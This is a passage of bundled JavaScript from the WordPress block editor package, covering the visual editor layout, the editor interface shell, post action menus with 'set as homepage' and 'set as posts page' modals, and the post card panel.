            selector: ".editor-visual-editor__post-title-wrapper",
            layout: fallbackLayout
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(LayoutStyle, {
            selector: ".block-editor-block-list__layout.is-root-container",
            layout: postEditorLayout
          }), align && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(LayoutStyle, {
            css: alignCSS
          }), postContentLayoutStyles && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(LayoutStyle, {
            layout: postContentLayout,
            css: postContentLayoutStyles
          })]
        }), renderingMode === 'post-only' && !isDesignPostType && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
          className: dist_clsx('editor-visual-editor__post-title-wrapper',
          // The following class is only here for backward compatibility
          // some themes might be using it to style the post title.
          'edit-post-visual-editor__post-title-wrapper', {
            'has-global-padding': hasRootPaddingAwareAlignments
          }),
          contentEditable: false,
          ref: observeTypingRef,
          style: {
            // This is using inline styles
            // so it's applied for both iframed and non iframed editors.
            marginTop: '4rem'
          },
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_title, {
            ref: titleRef
          })
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.RecursionProvider, {
          blockName: wrapperBlockName,
          uniqueId: wrapperUniqueId,
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockList, {
            className: dist_clsx('is-' + deviceType.toLowerCase() + '-preview', renderingMode !== 'post-only' || isDesignPostType ? 'wp-site-blocks' : `${blockListLayoutClass} wp-block-post-content`,
            // Ensure root level blocks receive default/flow blockGap styling rules.
            {
              'has-global-padding': renderingMode === 'post-only' && !isDesignPostType && hasRootPaddingAwareAlignments
            }),
            layout: blockListLayout,
            dropZoneElement:
            // When iframed, pass in the html element of the iframe to
            // ensure the drop zone extends to the edges of the iframe.
            disableIframe ? localRef.current : localRef.current?.parentNode,
            __unstableDisableDropZone:
            // In template preview mode, disable drop zones at the root of the template.
            renderingMode === 'template-locked' ? true : false
          }), renderingMode === 'template-locked' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditTemplateBlocksNotification, {
            contentRef: localRef
          })]
        })]
      })
    })
  });
}
/* harmony default export */ const visual_editor = (VisualEditor);

;// ./node_modules/@wordpress/editor/build-module/components/editor-interface/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */










const interfaceLabels = {
  /* translators: accessibility text for the editor top bar landmark region. */
  header: (0,external_wp_i18n_namespaceObject.__)('Editor top bar'),
  /* translators: accessibility text for the editor content landmark region. */
  body: (0,external_wp_i18n_namespaceObject.__)('Editor content'),
  /* translators: accessibility text for the editor settings landmark region. */
  sidebar: (0,external_wp_i18n_namespaceObject.__)('Editor settings'),
  /* translators: accessibility text for the editor publish landmark region. */
  actions: (0,external_wp_i18n_namespaceObject.__)('Editor publish'),
  /* translators: accessibility text for the editor footer landmark region. */
  footer: (0,external_wp_i18n_namespaceObject.__)('Editor footer')
};
function EditorInterface({
  className,
  styles,
  children,
  forceIsDirty,
  contentRef,
  disableIframe,
  autoFocus,
  customSaveButton,
  customSavePanel,
  forceDisableBlockTools,
  title,
  iframeProps
}) {
  const {
    mode,
    isRichEditingEnabled,
    isInserterOpened,
    isListViewOpened,
    isDistractionFree,
    isPreviewMode,
    showBlockBreadcrumbs,
    documentLabel
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      get
    } = select(external_wp_preferences_namespaceObject.store);
    const {
      getEditorSettings,
      getPostTypeLabel
    } = select(store_store);
    const editorSettings = getEditorSettings();
    const postTypeLabel = getPostTypeLabel();
    return {
      mode: select(store_store).getEditorMode(),
      isRichEditingEnabled: editorSettings.richEditingEnabled,
      isInserterOpened: select(store_store).isInserterOpened(),
      isListViewOpened: select(store_store).isListViewOpened(),
      isDistractionFree: get('core', 'distractionFree'),
      isPreviewMode: editorSettings.isPreviewMode,
      showBlockBreadcrumbs: get('core', 'showBlockBreadcrumbs'),
      documentLabel:
      // translators: Default label for the Document in the Block Breadcrumb.
      postTypeLabel || (0,external_wp_i18n_namespaceObject._x)('Document', 'noun, breadcrumb')
    };
  }, []);
  const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium');
  const secondarySidebarLabel = isListViewOpened ? (0,external_wp_i18n_namespaceObject.__)('Document Overview') : (0,external_wp_i18n_namespaceObject.__)('Block Library');

  // Local state for save panel.
  // Note 'truthy' callback implies an open panel.
  const [entitiesSavedStatesCallback, setEntitiesSavedStatesCallback] = (0,external_wp_element_namespaceObject.useState)(false);
  const closeEntitiesSavedStates = (0,external_wp_element_namespaceObject.useCallback)(arg => {
    if (typeof entitiesSavedStatesCallback === 'function') {
      entitiesSavedStatesCallback(arg);
    }
    setEntitiesSavedStatesCallback(false);
  }, [entitiesSavedStatesCallback]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(interface_skeleton, {
    isDistractionFree: isDistractionFree,
    className: dist_clsx('editor-editor-interface', className, {
      'is-entity-save-view-open': !!entitiesSavedStatesCallback,
      'is-distraction-free': isDistractionFree && !isPreviewMode
    }),
    labels: {
      ...interfaceLabels,
      secondarySidebar: secondarySidebarLabel
    },
    header: !isPreviewMode && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(components_header, {
      forceIsDirty: forceIsDirty,
      setEntitiesSavedStatesCallback: setEntitiesSavedStatesCallback,
      customSaveButton: customSaveButton,
      forceDisableBlockTools: forceDisableBlockTools,
      title: title
    }),
    editorNotices: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(editor_notices, {}),
    secondarySidebar: !isPreviewMode && mode === 'visual' && (isInserterOpened && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(InserterSidebar, {}) || isListViewOpened && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ListViewSidebar, {})),
    sidebar: !isPreviewMode && !isDistractionFree && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(complementary_area.Slot, {
      scope: "core"
    }),
    content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: [!isDistractionFree && !isPreviewMode && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(editor_notices, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(content_slot_fill.Slot, {
        children: ([editorCanvasView]) => editorCanvasView ? editorCanvasView : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
          children: [!isPreviewMode && (mode === 'text' || !isRichEditingEnabled) && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TextEditor
          // We should auto-focus the canvas (title) on load.
          // eslint-disable-next-line jsx-a11y/no-autofocus
          , {
            autoFocus: autoFocus
          }), !isPreviewMode && !isLargeViewport && mode === 'visual' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockToolbar, {
            hideDragHandle: true
          }), (isPreviewMode || isRichEditingEnabled && mode === 'visual') && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(visual_editor, {
            styles: styles,
            contentRef: contentRef,
            disableIframe: disableIframe
            // We should auto-focus the canvas (title) on load.
            // eslint-disable-next-line jsx-a11y/no-autofocus
            ,
            autoFocus: autoFocus,
            iframeProps: iframeProps
          }), children]
        })
      })]
    }),
    footer: !isPreviewMode && !isDistractionFree && isLargeViewport && showBlockBreadcrumbs && isRichEditingEnabled && mode === 'visual' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockBreadcrumb, {
      rootLabelText: documentLabel
    }),
    actions: !isPreviewMode ? customSavePanel || /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SavePublishPanels, {
      closeEntitiesSavedStates: closeEntitiesSavedStates,
      isEntitiesSavedStatesOpen: entitiesSavedStatesCallback,
      setEntitiesSavedStatesCallback: setEntitiesSavedStatesCallback,
      forceIsDirtyPublishPanel: forceIsDirty
    }) : undefined
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/pattern-overrides-panel/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */



const {
  OverridesPanel
} = unlock(external_wp_patterns_namespaceObject.privateApis);
function PatternOverridesPanel() {
  const supportsPatternOverridesPanel = (0,external_wp_data_namespaceObject.useSelect)(select => select(store_store).getCurrentPostType() === 'wp_block', []);
  if (!supportsPatternOverridesPanel) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(OverridesPanel, {});
}

;// ./node_modules/@wordpress/editor/build-module/utils/get-item-title.js
/**
 * WordPress dependencies
 */


/**
 * Helper function to get the title of a post item.
 * This is duplicated from the `@wordpress/fields` package.
 * `packages/fields/src/actions/utils.ts`
 *
 * @param {Object} item The post item.
 * @return {string} The title of the item, or an empty string if the title is not found.
 */
function get_item_title_getItemTitle(item) {
  if (typeof item.title === 'string') {
    return (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(item.title);
  }
  if (item.title && 'rendered' in item.title) {
    return (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(item.title.rendered);
  }
  if (item.title && 'raw' in item.title) {
    return (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(item.title.raw);
  }
  return '';
}

;// ./node_modules/@wordpress/editor/build-module/components/post-actions/set-as-homepage.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */


const SetAsHomepageModal = ({
  items,
  closeModal
}) => {
  const [item] = items;
  const pageTitle = get_item_title_getItemTitle(item);
  const {
    showOnFront,
    currentHomePage,
    isSaving
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecord,
      isSavingEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    const siteSettings = getEntityRecord('root', 'site');
    const currentHomePageItem = getEntityRecord('postType', 'page', siteSettings?.page_on_front);
    return {
      showOnFront: siteSettings?.show_on_front,
      currentHomePage: currentHomePageItem,
      isSaving: isSavingEntityRecord('root', 'site')
    };
  });
  const {
    saveEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const {
    createSuccessNotice,
    createErrorNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  async function onSetPageAsHomepage(event) {
    event.preventDefault();
    try {
      await saveEntityRecord('root', 'site', {
        page_on_front: item.id,
        show_on_front: 'page'
      });
      createSuccessNotice((0,external_wp_i18n_namespaceObject.__)('Homepage updated.'), {
        type: 'snackbar'
      });
    } catch (error) {
      const errorMessage = error.message && error.code !== 'unknown_error' ? error.message : (0,external_wp_i18n_namespaceObject.__)('An error occurred while setting the homepage.');
      createErrorNotice(errorMessage, {
        type: 'snackbar'
      });
    } finally {
      closeModal?.();
    }
  }
  let modalWarning = '';
  if ('posts' === showOnFront) {
    modalWarning = (0,external_wp_i18n_namespaceObject.__)('This will replace the current homepage which is set to display latest posts.');
  } else if (currentHomePage) {
    modalWarning = (0,external_wp_i18n_namespaceObject.sprintf)(
    // translators: %s: title of the current home page.
    (0,external_wp_i18n_namespaceObject.__)('This will replace the current homepage: "%s"'), get_item_title_getItemTitle(currentHomePage));
  }
  const modalText = (0,external_wp_i18n_namespaceObject.sprintf)(
  // translators: %1$s: title of the page to be set as the homepage, %2$s: homepage replacement warning message.
  (0,external_wp_i18n_namespaceObject.__)('Set "%1$s" as the site homepage? %2$s'), pageTitle, modalWarning).trim();

  // translators: Button label to confirm setting the specified page as the homepage.
  const modalButtonLabel = (0,external_wp_i18n_namespaceObject.__)('Set homepage');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("form", {
    onSubmit: onSetPageAsHomepage,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      spacing: "5",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
        children: modalText
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        justify: "right",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          variant: "tertiary",
          onClick: () => {
            closeModal?.();
          },
          disabled: isSaving,
          accessibleWhenDisabled: true,
          children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          variant: "primary",
          type: "submit",
          disabled: isSaving,
          accessibleWhenDisabled: true,
          children: modalButtonLabel
        })]
      })]
    })
  });
};
const useSetAsHomepageAction = () => {
  const {
    pageOnFront,
    pageForPosts
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecord,
      canUser
    } = select(external_wp_coreData_namespaceObject.store);
    const siteSettings = canUser('read', {
      kind: 'root',
      name: 'site'
    }) ? getEntityRecord('root', 'site') : undefined;
    return {
      pageOnFront: siteSettings?.page_on_front,
      pageForPosts: siteSettings?.page_for_posts
    };
  });
  return (0,external_wp_element_namespaceObject.useMemo)(() => ({
    id: 'set-as-homepage',
    label: (0,external_wp_i18n_namespaceObject.__)('Set as homepage'),
    isEligible(post) {
      if (post.status !== 'publish') {
        return false;
      }
      if (post.type !== 'page') {
        return false;
      }

      // Don't show the action if the page is already set as the homepage.
      if (pageOnFront === post.id) {
        return false;
      }

      // Don't show the action if the page is already set as the page for posts.
      if (pageForPosts === post.id) {
        return false;
      }
      return true;
    },
    RenderModal: SetAsHomepageModal
  }), [pageForPosts, pageOnFront]);
};

;// ./node_modules/@wordpress/editor/build-module/components/post-actions/set-as-posts-page.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */


const SetAsPostsPageModal = ({
  items,
  closeModal
}) => {
  const [item] = items;
  const pageTitle = get_item_title_getItemTitle(item);
  const {
    currentPostsPage,
    isPageForPostsSet,
    isSaving
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecord,
      isSavingEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    const siteSettings = getEntityRecord('root', 'site');
    const currentPostsPageItem = getEntityRecord('postType', 'page', siteSettings?.page_for_posts);
    return {
      currentPostsPage: currentPostsPageItem,
      isPageForPostsSet: siteSettings?.page_for_posts !== 0,
      isSaving: isSavingEntityRecord('root', 'site')
    };
  });
  const {
    saveEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const {
    createSuccessNotice,
    createErrorNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  async function onSetPageAsPostsPage(event) {
    event.preventDefault();
    try {
      await saveEntityRecord('root', 'site', {
        page_for_posts: item.id,
        show_on_front: 'page'
      });
      createSuccessNotice((0,external_wp_i18n_namespaceObject.__)('Posts page updated.'), {
        type: 'snackbar'
      });
    } catch (error) {
      const errorMessage = error.message && error.code !== 'unknown_error' ? error.message : (0,external_wp_i18n_namespaceObject.__)('An error occurred while setting the posts page.');
      createErrorNotice(errorMessage, {
        type: 'snackbar'
      });
    } finally {
      closeModal?.();
    }
  }
  const modalWarning = isPageForPostsSet && currentPostsPage ? (0,external_wp_i18n_namespaceObject.sprintf)(
  // translators: %s: title of the current posts page.
  (0,external_wp_i18n_namespaceObject.__)('This will replace the current posts page: "%s"'), get_item_title_getItemTitle(currentPostsPage)) : (0,external_wp_i18n_namespaceObject.__)('This page will show the latest posts.');
  const modalText = (0,external_wp_i18n_namespaceObject.sprintf)(
  // translators: %1$s: title of the page to be set as the posts page, %2$s: posts page replacement warning message.
  (0,external_wp_i18n_namespaceObject.__)('Set "%1$s" as the posts page? %2$s'), pageTitle, modalWarning);

  // translators: Button label to confirm setting the specified page as the posts page.
  const modalButtonLabel = (0,external_wp_i18n_namespaceObject.__)('Set posts page');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("form", {
    onSubmit: onSetPageAsPostsPage,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      spacing: "5",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
        children: modalText
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        justify: "right",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          variant: "tertiary",
          onClick: () => {
            closeModal?.();
          },
          disabled: isSaving,
          accessibleWhenDisabled: true,
          children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          variant: "primary",
          type: "submit",
          disabled: isSaving,
          accessibleWhenDisabled: true,
          children: modalButtonLabel
        })]
      })]
    })
  });
};
const useSetAsPostsPageAction = () => {
  const {
    pageOnFront,
    pageForPosts
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecord,
      canUser
    } = select(external_wp_coreData_namespaceObject.store);
    const siteSettings = canUser('read', {
      kind: 'root',
      name: 'site'
    }) ? getEntityRecord('root', 'site') : undefined;
    return {
      pageOnFront: siteSettings?.page_on_front,
      pageForPosts: siteSettings?.page_for_posts
    };
  });
  return (0,external_wp_element_namespaceObject.useMemo)(() => ({
    id: 'set-as-posts-page',
    label: (0,external_wp_i18n_namespaceObject.__)('Set as posts page'),
    isEligible(post) {
      if (post.status !== 'publish') {
        return false;
      }
      if (post.type !== 'page') {
        return false;
      }

      // Don't show the action if the page is already set as the homepage.
      if (pageOnFront === post.id) {
        return false;
      }

      // Don't show the action if the page is already set as the page for posts.
      if (pageForPosts === post.id) {
        return false;
      }
      return true;
    },
    RenderModal: SetAsPostsPageModal
  }), [pageForPosts, pageOnFront]);
};

;// ./node_modules/@wordpress/editor/build-module/components/post-actions/actions.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */





function usePostActions({
  postType,
  onActionPerformed,
  context
}) {
  const {
    defaultActions
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityActions
    } = unlock(select(store_store));
    return {
      defaultActions: getEntityActions('postType', postType)
    };
  }, [postType]);
  const {
    canManageOptions,
    hasFrontPageTemplate
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecords
    } = select(external_wp_coreData_namespaceObject.store);
    const templates = getEntityRecords('postType', 'wp_template', {
      per_page: -1
    });
    return {
      canManageOptions: select(external_wp_coreData_namespaceObject.store).canUser('update', {
        kind: 'root',
        name: 'site'
      }),
      hasFrontPageTemplate: !!templates?.find(template => template?.slug === 'front-page')
    };
  });
  const setAsHomepageAction = useSetAsHomepageAction();
  const setAsPostsPageAction = useSetAsPostsPageAction();
  const shouldShowHomepageActions = canManageOptions && !hasFrontPageTemplate;
  const {
    registerPostTypeSchema
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store_store));
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    registerPostTypeSchema(postType);
  }, [registerPostTypeSchema, postType]);
  return (0,external_wp_element_namespaceObject.useMemo)(() => {
    let actions = [...defaultActions];
    if (shouldShowHomepageActions) {
      actions.push(setAsHomepageAction, setAsPostsPageAction);
    }

    // Ensure "Move to trash" is always the last action.
    actions = actions.sort((a, b) => b.id === 'move-to-trash' ? -1 : 0);

    // Filter actions based on provided context. If not provided
    // all actions are returned. We'll have a single entry for getting the actions
    // and the consumer should provide the context to filter the actions, if needed.
    // Actions should also provide the `context` they support, if it's specific, to
    // compare with the provided context to get all the actions.
    // Right now the only supported context is `list`.
    actions = actions.filter(action => {
      if (!action.context) {
        return true;
      }
      return action.context === context;
    });
    if (onActionPerformed) {
      for (let i = 0; i < actions.length; ++i) {
        if (actions[i].callback) {
          const existingCallback = actions[i].callback;
          actions[i] = {
            ...actions[i],
            callback: (items, argsObject) => {
              existingCallback(items, {
                ...argsObject,
                onActionPerformed: _items => {
                  if (argsObject?.onActionPerformed) {
                    argsObject.onActionPerformed(_items);
                  }
                  onActionPerformed(actions[i].id, _items);
                }
              });
            }
          };
        }
        if (actions[i].RenderModal) {
          const ExistingRenderModal = actions[i].RenderModal;
          actions[i] = {
            ...actions[i],
            RenderModal: props => {
              return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ExistingRenderModal, {
                ...props,
                onActionPerformed: _items => {
                  if (props.onActionPerformed) {
                    props.onActionPerformed(_items);
                  }
                  onActionPerformed(actions[i].id, _items);
                }
              });
            }
          };
        }
      }
    }
    return actions;
  }, [context, defaultActions, onActionPerformed, setAsHomepageAction, setAsPostsPageAction, shouldShowHomepageActions]);
}

;// ./node_modules/@wordpress/editor/build-module/components/post-actions/index.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */



const {
  Menu,
  kebabCase
} = unlock(external_wp_components_namespaceObject.privateApis);
function PostActions({
  postType,
  postId,
  onActionPerformed
}) {
  const [activeModalAction, setActiveModalAction] = (0,external_wp_element_namespaceObject.useState)(null);
  const {
    item,
    permissions
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditedEntityRecord,
      getEntityRecordPermissions
    } = unlock(select(external_wp_coreData_namespaceObject.store));
    return {
      item: getEditedEntityRecord('postType', postType, postId),
      permissions: getEntityRecordPermissions('postType', postType, postId)
    };
  }, [postId, postType]);
  const itemWithPermissions = (0,external_wp_element_namespaceObject.useMemo)(() => {
    return {
      ...item,
      permissions
    };
  }, [item, permissions]);
  const allActions = usePostActions({
    postType,
    onActionPerformed
  });
  const actions = (0,external_wp_element_namespaceObject.useMemo)(() => {
    return allActions.filter(action => {
      return !action.isEligible || action.isEligible(itemWithPermissions);
    });
  }, [allActions, itemWithPermissions]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(Menu, {
      placement: "bottom-end",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.TriggerButton, {
        render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          size: "small",
          icon: more_vertical,
          label: (0,external_wp_i18n_namespaceObject.__)('Actions'),
          disabled: !actions.length,
          accessibleWhenDisabled: true,
          className: "editor-all-actions-button"
        })
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.Popover, {
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionsDropdownMenuGroup, {
          actions: actions,
          items: [itemWithPermissions],
          setActiveModalAction: setActiveModalAction
        })
      })]
    }), !!activeModalAction && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionModal, {
      action: activeModalAction,
      items: [itemWithPermissions],
      closeModal: () => setActiveModalAction(null)
    })]
  });
}

// From now on all the functions on this file are copied as from the dataviews packages,
// The editor packages should not be using the dataviews packages directly,
// and the dataviews package should not be using the editor packages directly,
// so duplicating the code here seems like the least bad option.

function DropdownMenuItemTrigger({
  action,
  onClick,
  items
}) {
  const label = typeof action.label === 'string' ? action.label : action.label(items);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.Item, {
    onClick: onClick,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.ItemLabel, {
      children: label
    })
  });
}
function ActionModal({
  action,
  items,
  closeModal
}) {
  const label = typeof action.label === 'string' ? action.label : action.label(items);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
    title: action.modalHeader || label,
    __experimentalHideHeader: !!action.hideModalHeader,
    onRequestClose: closeModal !== null && closeModal !== void 0 ? closeModal : () => {},
    focusOnMount: "firstContentElement",
    size: "medium",
    overlayClassName: `editor-action-modal editor-action-modal__${kebabCase(action.id)}`,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(action.RenderModal, {
      items: items,
      closeModal: closeModal
    })
  });
}
function ActionsDropdownMenuGroup({
  actions,
  items,
  setActiveModalAction
}) {
  const registry = (0,external_wp_data_namespaceObject.useRegistry)();
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.Group, {
    children: actions.map(action => {
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DropdownMenuItemTrigger, {
        action: action,
        onClick: () => {
          if ('RenderModal' in action) {
            setActiveModalAction(action);
            return;
          }
          action.callback(items, {
            registry
          });
        },
        items: items
      }, action.id);
    })
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-card-panel/index.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */







const {
  Badge: post_card_panel_Badge
} = unlock(external_wp_components_namespaceObject.privateApis);

/**
 * Renders a title of the post type and the available quick actions available within a 3-dot dropdown.
 *
 * @param {Object}          props                     - Component props.
 * @param {string}          [props.postType]          - The post type string.
 * @param {string|string[]} [props.postId]            - The post id or list of post ids.
 * @param {Function}        [props.onActionPerformed] - A callback function for when a quick action is performed.
 * @return {React.ReactNode} The rendered component.
 */
function PostCardPanel({
  postType,
  postId,
  onActionPerformed
}) {
  const postIds = (0,external_wp_element_namespaceObject.useMemo)(() => Array.isArray(postId) ? postId : [postId], [postId]);
  const {
    postTitle,
    icon,
    labels
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditedEntityRecord,
      getCurrentTheme,
      getPostType
    } = select(external_wp_coreData_namespaceObject.store);
    const {
      getPostIcon
    } = unlock(select(store_store));
    let _title = '';
    const _record = getEditedEntityRecord('postType', postType, postIds[0]);
    if (postIds.length === 1) {
      var _getCurrentTheme;
      const {
        default_template_types: templateTypes = []
      } = (_getCurrentTheme = getCurrentTheme()) !== null && _getCurrentTheme !== void 0 ? _getCurrentTheme : {};
      const _templateInfo = [TEMPLATE_POST_TYPE, TEMPLATE_PART_POST_TYPE].includes(postType) ? getTemplateInfo({
        template: _record,
        templateTypes
      }) : {};
      _title = _templateInfo?.title || _record?.title;
    }
    return {
      postTitle: _title,
      icon: getPostIcon(postType, {
        area: _record?.area
      }),
      labels: getPostType(postType)?.labels
    };
  }, [postIds, postType]);
  const pageTypeBadge = usePageTypeBadge(postId);
  let title = (0,external_wp_i18n_namespaceObject.__)('No title');
  if (labels?.name && postIds.length > 1) {
    title = (0,external_wp_i18n_namespaceObject.sprintf)(
    // translators: %i number of selected items %s: Name of the plural post type e.g: "Posts".
    (0,external_wp_i18n_namespaceObject.__)('%i %s'), postId.length, labels?.name);
  } else if (postTitle) {
    title = (0,external_wp_dom_namespaceObject.__unstableStripHTML)(postTitle);
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
    spacing: 1,
    className: "editor-post-card-panel",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      spacing: 2,
      className: "editor-post-card-panel__header",
      align: "flex-start",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
        className: "editor-post-card-panel__icon",
        icon: icon
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalText, {
        numberOfLines: 2,
        truncate: true,
        className: "editor-post-card-panel__title",
        as: "h2",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
          className: "editor-post-card-panel__title-name",
          children: title
        }), pageTypeBadge && postIds.length === 1 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_card_panel_Badge, {
          children: pageTypeBadge
        })]
      }), postIds.length === 1 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostActions, {
        postType: postType,
        postId: postIds[0],
        onActionPerformed: onActionPerformed
      })]
    }), postIds.length > 1 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
      className: "editor-post-card-panel__description",
      children: (0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: %s: Name of the plural post type e.g: "Posts".
      (0,external_wp_i18n_namespaceObject.__)('Changes will be applied to all selected %s.'), labels?.name.toLowerCase())
    })]
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-content-information/index.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */



// Taken from packages/editor/src/components/time-to-read/index.js.

const post_content_information_AVERAGE_READING_RATE = 189;

// This component renders the wordcount and reading time for the post.
function PostContentInformation() {
  const {
    postContent
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
